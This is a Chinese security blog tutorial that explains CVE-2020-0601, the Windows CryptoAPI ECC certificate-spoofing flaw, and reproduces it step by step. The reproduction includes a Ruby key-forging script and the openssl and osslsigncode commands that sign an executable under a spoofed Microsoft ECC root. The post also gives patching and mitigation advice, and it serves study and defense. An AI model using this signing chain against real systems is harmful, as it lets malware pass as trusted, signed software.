一.漏洞背景

1月15日,微软发布了针对CVE-2020-0601的安全补丁,该漏洞是微软在实现椭圆曲线加密(ECC)算法数字证书验证时产生,位于CryptoAPI.dll文件,可被利用于伪造来自可信任来源的签名或证书,并且因其业务特性会衍生出多种攻击向量,具有极高的可利用价值和极大的潜在破坏力,win10和windows server 2016 & 2019也都在其影响范围内。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(1)

有意思的是,在微软发布公告后,NSA也发布了关于CVE-2020-0601漏洞的预警通告。根据通告可以得知,这个漏洞是由NSA率先独立发现并汇报给微软的(微软在报告中对NSA致谢),也被认为是第一个NSA公开披露的软件系统漏洞,当然也有可能存在其特殊的战术目的。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(2)

该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括:

HTTPS连接

文件签名

电子邮件签名

以用户模式启动的签名可执行程序

此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。而Windows 10 之前的版本,如Windows 7、Windows Server 2008 R2 等均不受该漏洞的影响。因为win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过,故不受影响。

二.漏洞原理

该部分主要参考下面两篇文章,再次感谢,也强烈推荐大家阅读这两位老师的博客。花这么多篇幅介绍原理知识,一方面是完善自己的安全知识体系,另一方面只有深入了解原理才能更好地做防御。

1.ECC加密算法

CVE-2020-0601的根源是微软的加密库crypt32.dll中椭圆曲线加密算法的实现问题,首先我们来了解一下椭圆加密算法的基本原理。

基础知识

ECC私钥 椭圆曲线=ECC公钥

漏洞成因

微软的私钥 微软选的椭圆曲线=微软根证书里面的公钥

黑客的私钥 黑客选的椭圆曲线=微软根证书里面的公钥

不同的椭圆曲线和不同的私钥,能产生一模一样的公钥。win10默认添加了微软的ECC根证书,在做证书验证时,会一直验证到微软根证书中的公钥hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值,导致了黑客拿自己的私钥签名,就能伪装成微软的签名。

ECC算法

要形象地理解椭圆曲线加密算法,可以结合图形来看,以下是一个符合椭圆曲线的方程及图像。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(3)

椭圆曲线具有的一些独特的性质使它适合用于加密算法:

椭圆曲线关于x轴对称

任何一条非垂直的线与曲线最多有三个点相交

曲线是光滑的,即曲线的所有点都没有两个或者两个以上的不同的切线

在椭圆曲线上任意两点A、B(若A、B重合则作A的切线),作直线交于椭圆曲线另一点C’,过C’做y轴的平行线与椭圆曲线交于C点,定义A B=C。椭圆曲线的加法符合交换律和结合律。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(4)

如果A、B是同一个点,则过A作椭圆曲线的切线,以同样的方法得到对应的结果 C=2A 。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(5)

接下来是椭圆曲线加密相关的重点,如果对多个A进行累加,则可依次累加连线得到nA的值 。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(6)

椭圆曲线加密算法的数学依据 :

考虑K=kG,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶。k为小于n的整数。给定k和G,根据加法法则计算K很容易(逐次求解);但反过来,给定K和G,求k就非常困难。因为实际使用中的ECC原则上把私钥k取得相当大,n也相当大,且椭圆曲线不再连续而是在实数内离散的值,要把n个解点逐一算出几乎是不可能的。

点G称为基点

k(k<n)为私有密钥

K为公开密钥

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(7)

ECC和RSA加密算法对比:

椭圆曲线加密算法(ECC)和RSA同样是一种公开密钥加密技术,对原始数据以公钥加密,以私钥解密,即便攻击者获取密文和公钥也无法(在合理的时间或代价下)解密获取明文。ECC常被应用于数字签名,以私钥加密生成签名,以公钥解密验证签名,如果和原文一样则签名验证成功。公开密钥加密之所以可靠是因为它们利用了公钥密码领域的单向函数原理,正向操作非常简单,而逆向操作非常困难。由G(基点)出发,进行k(私钥)次变换,很容易地得到终点K(公钥)的值。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(8)

已知起点G(基点)和终点K(公钥),要逆推得到移动次数k(私钥)则是一个很难的问题。相比传统RSA加密算法,椭圆加密算法具有着天生的优势,椭圆加密算法的逆向过程相比RSA有着更大的时间复杂度。在密钥长度相同的情况下,椭圆加密算法相比RSA具有更好的安全强度。 一般认为,160比特的椭圆曲线密钥即可提供与1024比特的RSA密钥相当的安全强度。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(9)

较短的密钥也意味着更少的存储空间、更快的加解密速度和更少的带宽消耗,正因为椭圆加密算法的这些优势,它被用于Windows的签名系统、https的证书、比特币系统和中国的二代身份证系统中。

虽然椭圆曲线加密算法具有着许多优势,纯算法角度攻破难度极大,微软对此算法的实现的缺漏却给漏洞利用提供了可乘之机。回到椭圆曲线加密最基本的等式 K=kG,首先需要明确的是,虽然对于给定的基点G和公钥K,要求解私钥k很困难,但是如果可以任意指定基点G,要构造一对k和G使等式成立却极其简单。最简单的情况,令基点G=K,则私钥k=1,这样一对基点和私钥可以使等式成立,也是有效的解。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(10)

在正常的标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值(标准文件会对基点G等参数的选择做出规定),例如在secp256r1版本的椭圆曲线算法中,基点G应当为标准规定的固定值,如果对参数不加验证,使得用户可以自定义传入的基点G值(作为函数的参数),上面的私钥k=1的特殊解即可成立。

在有漏洞版本的crypt32.dll中验证使用ECC算法签名部分的函数恰恰是这个情况,原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。

2.Windows证书验证

以SSL协议为例,讲解Windows如何进行证书验证。比如,小明(m)在某电商(x)网站上购买了一本书,这时就调用了SSL协议进行通讯,建立SSL协议的步骤总结为下图。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(11)

基本步骤包括:

① 打招呼: 小明和电商互相介绍自己,小明和电商协商好以后的步骤里将使用到的特定密码算法。在本漏洞中,该算法为ECC加密算法。(该步骤没有利用密码工具)

② 身份验证: 电商向小明验证自己的身份,电商发送包含自己的公钥的证书。该证书由权威的第三方证书机构(CA)颁发。小明使用CA的公开验证密钥,验证证书中对PK的签名。(漏洞触发地方)

③ 信息加密: 由小明生成一个随机的密钥MS,该密钥用于生成对双方传输的信息进行对称加密的K1与K2。MS由小明获得的公钥进行加密并交给电商。电商通过手中的私钥解密获得MS。这时双方都获得了用于进行加密通讯的密钥。

注意:

在SSL会话过程中,只有电商一方被要求提供证书,小明可能根本没有公钥(或证书)。这和我们平时去小卖部买东西一样,销售方需要提供销售许可, 而你只需要付钱就可以了。

该漏洞的触发点在于 第三方权威机构(Windows) 在步骤②验证证书时产生的逻辑漏洞,使得攻击者可以通过伪造证书将自身伪装成电商, 与小明 进行通讯。从而达到骗财骗色骗信息的目的。

通过及时更新微软补丁包可以有效防止上述情况的发生。

接着我们分享微软验证证书的机制,以及其存在的逻辑漏洞。

在Windows系统访问一个网站(例Github.com)时, 该网站会向Windows系统发送由第三方权威机构(CA)签署的网站证书。

微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(12)

  • Windows系统则会验证该证书是否由CA颁发,若验证通过,则Windows系统与网站成功建立TLS链接。
  • 微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(13)

    为了方便下一次更快的访问,Windows将验证成功的证书放入内存中一块Certificate Cache(证书缓存)中。在下一次校验时,如果该证书存在于缓存中,则直接取缓存中的值进行校验。这里利用CVE-2020-0601。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(14)

    在成功缓存证书数据后,根据下面描述的Windows证书缓存机制,恶意网站可以伪造虚假的网站(例github.com)证书且通过Windows验证,将自身伪装成合法网站。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(15)

    当 Windows 接收到新的证书时,Windows 将新接收的证书与已缓存证书的证书的公钥进行遍历对比,寻找匹配的值。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(16)

    伪造的恶意证书与Windows系统中的缓存证书有同样的公钥,但Curve项没有在校验范围内,所以可以通过构造自定义Curve来伪造证书。使得证书验证流程依然成立,但通过验证的证书已经不是之前成功验证的安全证书。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(17)

    写到这里,如果您懵圈了,没关系!我也哭晕了好几次,都发求救贴了,接着我们看看实际操作吧~

    三.可执行文件签名漏洞利用

    1.证书查看

    首先,我带领大家看看Windows证书。运行中输入“certmgr.msc”,可以看到这里面有5个系统默认的ECC签名的根证书,如下图所示。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(18)

    我们随意导出其中一个根证书,导出直接选择Base64编码那个就行。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(19)

    可以看到导出的ECC密钥证书如下图所示,包括证书的有效期等信息。这就是微软在实现椭圆曲线加密(ECC)算法的数字证书,位于CryptoAPI.dll文件,也是被我们利用来伪造可信任来源的签名漏洞。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(20)

    同样,我们可以通过Powershell(其用法推荐前文)查看默认的根证书。

    dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(21)

    2.环境搭建

    Linux系统、Windows系统WSL软件(Windows Subsystem for Linux)

    Ruby环境、Python环境

    Github资源:main.rb、OpenSSL_cs.conf、签名证书

    可执行exe文件(用于签名

    由于作者是Windows环境,但需要运行Linux命令,所以这里安装了Windows Subsystem for Linux软件。

    第一步,打开应用商城搜索“WSL”,可根据自己需求选择安装一个或多个Linux系统。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(22)

    第二步,安装完成后可以在开始菜单的最近添加中打开Ubuntu。第一次打开Ubuntu时,会提示你创建新的用户账户和密码。这个用户账户只是普通的非管理员用户,如果要提升权限,需要使用sudo命令。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(23)

    下面可以测试该环境已经搭建成功,我们能在Windows系统下运行Linux。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(24)

    第三步,我们复制文件进入。作者使用WSL,主要还因为它的另一个优势,能够访问Windows系统的内容,灵活复制和切换文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(25)

    路径为:\wsl$\Ubuntu\home\yxz

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(26)

    第四步,使用openssl查看证书信息的内容,后面我们会反复使用该命令。

    openssl x509 -in ca.cer -text -noout

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(27)

    在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。

    3.漏洞还原

    接下来将详细讲解如何还原可执行文件签名证书伪装漏洞。

    第一步,安装Ruby环境并测试。

    安装环境:sudo apt install ruby

    查看版本:ruby -v

    创建文件:touch HelloWorld.ry

    编辑代码:vim HelloWorld.ry

    运行代码:ruby HelloWorld.ry

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(28)

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(29)

    第二步,提取ECC根证书公钥信息。将main.rb文件和导出的微软ECC签名证书文件复制或上传至Linux系统或WSL。注意,这里的ECC证书也可以使用上面我们导出的那个文件。

    接着运行ruby代码。

    ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(30)

    此时生成“spoofed_ca.key”公钥文件

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(31)

    main.rb代码如下,设置私钥为1,使得加密等式成立,并生成证书公钥文件。

    require 'openssl' raw = File.read ARGV[0] # 读取使用ECC算法的证书文件 ca = OpenSSL::X509::Certificate.new(raw) # 读取使用ECC算法的证书 ca_key = ca.public_key # 从证书中提取公钥ca_key ca_key.private_key = 1 # 设置私钥为1,使得公钥K==1*基点G的等式成立 group = ca_key.group group.set_generator(ca_key.public_key, group.order, group.cofactor) group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE ca_key.group = group # 利用构建的假基点G和假密钥k设置新group File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem } # 将新的group写入文件

    第三步,基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA。

    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(32)

    注意,国家、地区、作者可以随意填写,此时生成“spoofed_ca.crt”公钥文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(33)

    第四步,生成一个新密钥。该密钥可以是您想要的任何类型,它将用于创建代码签名证书,我们将使用自己的CA对其进行签名。

    openssl ecparam -name secp384r1 -genkey -noout -out cert.key

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(34)

    此时生成“cert.key”新密钥文件。

    第五步,接下来创建一个新的证书签名请求(CSR)。该请求通常会发送到受信任的CA,但是由于存在欺骗请求,因此我们可以自己对其进行签名。

    openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(35)

    注意,需要复制openssl_cs.conf文件进去,此时生成“cert.csr”文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(36)

    第六步,使用我们的欺骗性CA和CA密钥签署新的CSR。该证书将在2047年到期,而真正的受信任Microsoft CA将在2043年到期。

    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(37)

    生成“cert.crt”签名证书文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(38)

    第七步,将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名。

    openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(39)

    生成“cert.p12”名证书文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(40)

    第八步,用PKCS12文件签名可执行文件。

    osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe

    注意,osslsigncode可能需要安装,如下所示。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(41)

    用PKCS12文件签名可执行文件,最终生成“python_signed.exe”签名可执行文件。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(42)

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(43)

    第九步,文件右键”属性“打开,如下所示,多了”数字签名“且能看查看”详细信息”。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(44)

    点击”查看证书”,可以看到具体信息,比如2047年到期,颁发者为我们设置的“hacker”,以及设置的签名信息,并且证书是可靠地。该可执行文件的数字签名校验通过,并且成功欺骗了系统。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(45)

    如果更新补丁知乎,可执行文件的数字签名会无法验证。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(46)

    四.防御措施及总结

    缓解措施

    快速采用补丁是目前已知较好的缓解措施。尽管尚未出现公开的攻击方式和案例,但建议大家及时安装安全更新。更新后,当检测到有人试图利用CVE-2020-0601进行攻击时,系统将在每次重新启动Windows日志后在事件查看器中生成事件ID。

    安全建议

    除了安装修补程序之外,企业还可以采取其他措施保护端点,比如:

    (1) 从网络流量中提取证书,检查可疑的属性;

    (2) 通过执行TLS检查,不使用Windows进行证书验证的代理设备承载流量;

    (3) 在企业内部部署私有根证书颁发机构,并且在特定计算机/服务器位置控制第三方软件的部署和使用;

    (4) 符合条件的企业可以申请加入微软 Security Update Validation Program (SUVP) 或 Microsoft Active Protections Program (MAPP),从而提前从微软获得安全更新以进行相关的测试分析。

    下一篇作者将尝试利用该漏洞复现HTTPS劫持案例,真的花费了很多精力,希望您喜欢。

    微软审核机制漏洞(微软证书漏洞Windows验证机制及可执行文件签名复现)(47)

    希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第46篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

    ,